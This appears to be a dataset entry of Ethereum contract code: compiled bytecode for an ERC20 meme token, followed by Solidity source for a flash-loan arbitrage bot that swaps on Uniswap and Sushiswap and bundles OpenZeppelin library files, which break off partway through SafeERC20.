d5b60005b8151811015610a8357600160066000848481518110610a1757610a16612eaa565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610a7b90612e03565b9150506109f5565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ac86110ea565b73ffffffffffffffffffffffffffffffffffffffff1614610ae857600080fd5b6000610af330610735565b9050610afe816119b5565b50565b610b096110ea565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8d90612a4d565b60405180910390fd5b600e60149054906101000a900460ff1615610be6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdd90612acd565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c7930600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006110f2565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cbf57600080fd5b505afa158015610cd3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cf79190612445565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d5957600080fd5b505afa158015610d6d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d919190612445565b6040518363ffffffff1660e01b8152600401610dae9291906128bd565b602060405180830381600087803b158015610dc857600080fd5b505af1158015610ddc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e009190612445565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610e8930610735565b600080610e946108d9565b426040518863ffffffff1660e01b8152600401610eb69695949392919061290f565b6060604051808303818588803b158015610ecf57600080fd5b505af1158015610ee3573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f0891906125e8565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e4000000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161100d9291906128e6565b602060405180830381600087803b15801561102757600080fd5b505af115801561103b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061105f91906125bb565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611162576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115990612aad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c9906129ed565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112b09190612aed565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561132d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132490612a8d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561139d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611394906129ad565b60405180910390fd5b600081116113e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d790612a6d565b60405180910390fd5b6113e86108d9565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561145657506114266108d9565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561186757600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156114ff5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61150857600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156115b35750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116095750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156116215750600e60179054906101000a900460ff165b1561169657600f5481111561163557600080fd5b601e426116429190612c23565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506005600a81905550600a600b819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156117415750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117975750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156117ad576005600a81905550600f600b819055505b60006117b830610735565b9050600e60159054906101000a900460ff161580156118255750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561183d5750600e60169054906101000a900460ff165b156118655761184b816119b5565b6000479050600081111561186357611862476118db565b5b505b505b611872838383611c3d565b505050565b60008383111582906118bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b6919061298b565b60405180910390fd5b50600083856118ce9190612d04565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611943573d6000803e3d6000fd5b5050565b600060085482111561198e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611985906129cd565b60405180910390fd5b6000611998611c4d565b90506119ad8184611c7890919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156119ed576119ec612ed9565b5b604051908082528060200260200182016040528015611a1b5781602001602082028036833780820191505090505b5090503081600081518110611a3357611a32612eaa565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ad557600080fd5b505afa158015611ae9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b0d9190612445565b81600181518110611b2157611b20612eaa565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611b8830600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846110f2565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611bec959493929190612b08565b600060405180830381600087803b158015611c0657600080fd5b505af1158015611c1a573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b611c48838383611cc2565b505050565b6000806000611c5a611e8d565b91509150611c718183611c7890919063ffffffff16565b9250505090565b6000611cba83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ef8565b905092915050565b600080600080600080611cd487611f5b565b955095509550955095509550611d3286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fc390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611dc785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461200d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e138161206b565b611e1d8483612128565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611e7a9190612aed565b60405180910390a3505050505050505050565b6000806000600854905060006b033b2e3c9fd0803ce80000009050611ec96b033b2e3c9fd0803ce8000000600854611c7890919063ffffffff16565b821015611eeb576008546b033b2e3c9fd0803ce8000000935093505050611ef4565b81819350935050505b9091565b60008083118290611f3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f36919061298b565b60405180910390fd5b5060008385611f4e9190612c79565b9050809150509392505050565b6000806000806000806000806000611f788a600a54600b54612162565b9250925092506000611f88611c4d565b90506000806000611f9b8e8787876121f8565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061200583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611877565b905092915050565b600080828461201c9190612c23565b905083811015612061576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205890612a0d565b60405180910390fd5b8091505092915050565b6000612075611c4d565b9050600061208c828461228190919063ffffffff16565b90506120e081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461200d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61213d82600854611fc390919063ffffffff16565b6008819055506121588160095461200d90919063ffffffff16565b6009819055505050565b60008060008061218e6064612180888a61228190919063ffffffff16565b611c7890919063ffffffff16565b905060006121b860646121aa888b61228190919063ffffffff16565b611c7890919063ffffffff16565b905060006121e1826121d3858c611fc390919063ffffffff16565b611fc390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612211858961228190919063ffffffff16565b90506000612228868961228190919063ffffffff16565b9050600061223f878961228190919063ffffffff16565b905060006122688261225a8587611fc390919063ffffffff16565b611fc390919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561229457600090506122f6565b600082846122a29190612caa565b90508284826122b19190612c79565b146122f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122e890612a2d565b60405180910390fd5b809150505b92915050565b600061230f61230a84612ba2565b612b7d565b9050808382526020820190508285602086028201111561233257612331612f0d565b5b60005b858110156123625781612348888261236c565b845260208401935060208301925050600181019050612335565b5050509392505050565b60008135905061237b816131d1565b92915050565b600081519050612390816131d1565b92915050565b600082601f8301126123ab576123aa612f08565b5b81356123bb8482602086016122fc565b91505092915050565b6000813590506123d3816131e8565b92915050565b6000815190506123e8816131e8565b92915050565b6000813590506123fd816131ff565b92915050565b600081519050612412816131ff565b92915050565b60006020828403121561242e5761242d612f17565b5b600061243c8482850161236c565b91505092915050565b60006020828403121561245b5761245a612f17565b5b600061246984828501612381565b91505092915050565b6000806040838503121561248957612488612f17565b5b60006124978582860161236c565b92505060206124a88582860161236c565b9150509250929050565b6000806000606084860312156124cb576124ca612f17565b5b60006124d98682870161236c565b93505060206124ea8682870161236c565b92505060406124fb868287016123ee565b9150509250925092565b6000806040838503121561251c5761251b612f17565b5b600061252a8582860161236c565b925050602061253b858286016123ee565b9150509250929050565b60006020828403121561255b5761255a612f17565b5b600082013567ffffffffffffffff81111561257957612578612f12565b5b61258584828501612396565b91505092915050565b6000602082840312156125a4576125a3612f17565b5b60006125b2848285016123c4565b91505092915050565b6000602082840312156125d1576125d0612f17565b5b60006125df848285016123d9565b91505092915050565b60008060006060848603121561260157612600612f17565b5b600061260f86828701612403565b935050602061262086828701612403565b925050604061263186828701612403565b9150509250925092565b60006126478383612653565b60208301905092915050565b61265c81612d38565b82525050565b61266b81612d38565b82525050565b600061267c82612bde565b6126868185612c01565b935061269183612bce565b8060005b838110156126c25781516126a9888261263b565b97506126b483612bf4565b925050600181019050612695565b5085935050505092915050565b6126d881612d4a565b82525050565b6126e781612d8d565b82525050565b60006126f882612be9565b6127028185612c12565b9350612712818560208601612d9f565b61271b81612f1c565b840191505092915050565b6000612733602383612c12565b915061273e82612f2d565b604082019050919050565b6000612756602a83612c12565b915061276182612f7c565b604082019050919050565b6000612779602283612c12565b915061278482612fcb565b604082019050919050565b600061279c601b83612c12565b91506127a78261301a565b602082019050919050565b60006127bf602183612c12565b91506127ca82613043565b604082019050919050565b60006127e2602083612c12565b91506127ed82613092565b602082019050919050565b6000612805602983612c12565b9150612810826130bb565b604082019050919050565b6000612828602583612c12565b91506128338261310a565b604082019050919050565b600061284b602483612c12565b915061285682613159565b604082019050919050565b600061286e601783612c12565b9150612879826131a8565b602082019050919050565b61288d81612d76565b82525050565b61289c81612d80565b82525050565b60006020820190506128b76000830184612662565b92915050565b60006040820190506128d26000830185612662565b6128df6020830184612662565b9392505050565b60006040820190506128fb6000830185612662565b6129086020830184612884565b9392505050565b600060c0820190506129246000830189612662565b6129316020830188612884565b61293e60408301876126de565b61294b60608301866126de565b6129586080830185612662565b61296560a0830184612884565b979650505050505050565b600060208201905061298560008301846126cf565b92915050565b600060208201905081810360008301526129a581846126ed565b905092915050565b600060208201905081810360008301526129c681612726565b9050919050565b600060208201905081810360008301526129e681612749565b9050919050565b60006020820190508181036000830152612a068161276c565b9050919050565b60006020820190508181036000830152612a268161278f565b9050919050565b60006020820190508181036000830152612a46816127b2565b9050919050565b60006020820190508181036000830152612a66816127d5565b9050919050565b60006020820190508181036000830152612a86816127f8565b9050919050565b60006020820190508181036000830152612aa68161281b565b9050919050565b60006020820190508181036000830152612ac68161283e565b9050919050565b60006020820190508181036000830152612ae681612861565b9050919050565b6000602082019050612b026000830184612884565b92915050565b600060a082019050612b1d6000830188612884565b612b2a60208301876126de565b8181036040830152612b3c8186612671565b9050612b4b6060830185612662565b612b586080830184612884565b9695505050505050565b6000602082019050612b776000830184612893565b92915050565b6000612b87612b98565b9050612b938282612dd2565b919050565b6000604051905090565b600067ffffffffffffffff821115612bbd57612bbc612ed9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612c2e82612d76565b9150612c3983612d76565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612c6e57612c6d612e4c565b5b828201905092915050565b6000612c8482612d76565b9150612c8f83612d76565b925082612c9f57612c9e612e7b565b5b828204905092915050565b6000612cb582612d76565b9150612cc083612d76565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612cf957612cf8612e4c565b5b828202905092915050565b6000612d0f82612d76565b9150612d1a83612d76565b925082821015612d2d57612d2c612e4c565b5b828203905092915050565b6000612d4382612d56565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612d9882612d76565b9050919050565b60005b83811015612dbd578082015181840152602081019050612da2565b83811115612dcc576000848401525b50505050565b612ddb82612f1c565b810181811067ffffffffffffffff82111715612dfa57612df9612ed9565b5b80604052505050565b6000612e0e82612d76565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612e4157612e40612e4c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6131da81612d38565b81146131e557600080fd5b50565b6131f181612d4a565b81146131fc57600080fd5b50565b61320881612d76565b811461321357600080fd5b5056fe437962727272747275636b207c2068747470733a2f2f742e6d652f437962727272747275636b657263323045524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f0edcf31caa8b67055d3801da0d42fedb5d561d023f6adbeb7ff63deda24f3c964736f6c63430008060033
[ 13, 5 ]
0xF1D457074DfaB4b98b79b4Da3C9C360D793492a7
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { FlashLoanReceiverBase } from "./FlashLoanReceiverBase.sol"; import { ILendingPool } from "./interfaces/ILendingPool.sol"; import { ILendingPoolAddressesProvider } from "./interfaces/ILendingPoolAddressesProvider.sol"; import { IUniswapV2Router02 } from "./interfaces/IUniswapV2Router02.sol"; import { ECDSA } from "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; error UnprofitableTransaction(uint256 initialValue, uint256 afterValue); contract BotContract is FlashLoanReceiverBase, Ownable { using SafeERC20 for IERC20; enum SwapType { UNISWAP, SUSHISWAP } struct LastTokenInfo { address addr; uint256 value; } IUniswapV2Router02 public constant UNISWAP_V2_ROUTER_02 = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); IUniswapV2Router02 public constant SUSHI_V2_ROUTER_02 = IUniswapV2Router02(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F); // mainnet address public immutable securityContract; event Received(address sender, uint256 amount); constructor(address securityContract_) FlashLoanReceiverBase(ILendingPoolAddressesProvider(0xB53C1a33016B2DC2fF3653530bfF1848a515c8c5)) // solhint-disable-next-line no-empty-blocks { securityContract = securityContract_; } // mainnet modifier onlySecurityContract() { require(msg.sender == securityContract, "Only security contract can call this function"); _; } function _callUniswapLikeFunctions( IUniswapV2Router02 routerAddress, address[] memory path, address asset, uint256 assetAmount ) internal returns (LastTokenInfo memory) { require(path[0] == asset, "asset is not equal to path[0] asset"); IERC20(asset).safeApprove(address(routerAddress), assetAmount); uint256[] memory result = routerAddress.swapExactTokensForTokens( assetAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); return LastTokenInfo(path[path.length - 1], result[result.length - 1]); } function _executeSwaps( address firstAsset, uint256 firstAssetAmount, bytes calldata params ) internal returns (uint256 balanceBefore, uint256 balanceAfter) { balanceBefore = IERC20(firstAsset).balanceOf(address(this)); (bytes[] memory arguments, SwapType[] memory swapTypes) = abi.decode( params, (bytes[], SwapType[]) ); bool isFirst = true; LastTokenInfo memory lastTokenInfo; require( arguments.length == swapTypes.length, "arguments length must be equal to swapTypes length" ); for (uint256 i = 0; i < arguments.length; i++) { address asset = lastTokenInfo.addr; uint256 amount = lastTokenInfo.value; if (isFirst) { asset = firstAsset; amount = firstAssetAmount; isFirst = false; } if (swapTypes[i] == SwapType.UNISWAP) { address[] memory path = abi.decode(arguments[i], (address[])); lastTokenInfo = _callUniswapLikeFunctions(UNISWAP_V2_ROUTER_02, path, asset, amount); } else if (swapTypes[i] == SwapType.SUSHISWAP) { address[] memory path = abi.decode(arguments[i], (address[])); lastTokenInfo = _callUniswapLikeFunctions(SUSHI_V2_ROUTER_02, path, asset, amount); } } balanceAfter = IERC20(firstAsset).balanceOf(address(this)); return (balanceBefore, balanceAfter); } function executeSwaps( address asset, uint256 initialAmount, uint256 expectedAmount, uint256 slippage, address user, bytes calldata params ) external onlySecurityContract returns (uint256) { IERC20(asset).safeTransferFrom(user, address(this), initialAmount); (uint256 balanceBefore, uint256 balanceAfter) = _executeSwaps(asset, initialAmount, params); if (balanceAfter <= balanceBefore) { revert UnprofitableTransaction({ initialValue: initialAmount, afterValue: initialAmount - (balanceBefore - balanceAfter) }); } uint256 transferAmount = balanceAfter - balanceBefore; require( _checkProfitability(expectedAmount, initialAmount + transferAmount, slippage), "Transaction will not succeed either due to price movement" ); IERC20(asset).safeTransfer(user, transferAmount + initialAmount); return transferAmount; } function executeSwapsWithFlashloan( address asset, uint256 initialAmount, uint256 expectedAmount, uint256 slippage, address user, bytes memory params ) public onlySecurityContract returns (uint256) { address[] memory assets = new address[](1); assets[0] = asset; uint256[] memory amounts = new uint256[](1); amounts[0] = initialAmount; // 0 = no debt, 1 = stable, 2 = variable uint256[] memory modes = new uint256[](1); modes[0] = 0; uint256 balanceBefore = IERC20(assets[0]).balanceOf(address(this)); LENDING_POOL.flashLoan(address(this), assets, amounts, modes, address(this), params, 0); uint256 balanceAfter = IERC20(assets[0]).balanceOf(address(this)); uint256 profit = balanceAfter - balanceBefore; uint256 realAmount = initialAmount + profit; require( _checkProfitability(expectedAmount, realAmount, slippage), "Transaction will not succeed either due to price movement" ); IERC20(assets[0]).safeTransfer(user, profit); return profit; } function _checkProfitability( uint256 expectedAmount, uint256 realAmount, uint256 slippage ) internal pure returns (bool) { if (realAmount > expectedAmount) { return true; } if (slippage >= ((expectedAmount - realAmount) * 100) / realAmount) { return true; } return false; } function executeOperation( address[] calldata assets, uint256[] calldata amounts, uint256[] calldata premiums, address initiator, bytes calldata params ) external override returns (bool) { require(msg.sender == address(LENDING_POOL), "The caller must be Lending Pool contract"); require(initiator == address(this), "The caller must be Lending Pool contract"); // At the end of your logic above, this contract owes // the flashloaned amounts + premiums. // Therefore ensure your contract has enough to repay // these amounts. (uint256 balanceBefore, uint256 balanceAfter) = _executeSwaps(assets[0], amounts[0], params); if (balanceAfter <= balanceBefore + premiums[0]) { revert UnprofitableTransaction({ initialValue: amounts[0], afterValue: amounts[0] - (balanceBefore - balanceAfter) }); } // Approve the LendingPool contract allowance to *pull* the owed amount for (uint256 i = 0; i < assets.length; i++) { IERC20(assets[i]).safeApprove(address(LENDING_POOL), amounts[i] + premiums[i]); } return true; } function withdrawERC20(IERC20 tokenAddress, uint256 amount) public onlyOwner returns (bool) { tokenAddress.transfer(msg.sender, amount); return true; } function getBalanceERC20(IERC20 tokenAddress) public view returns (uint256) { return tokenAddress.balanceOf(address(this)); } receive() external payable { emit Received(msg.sender, msg.value); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ 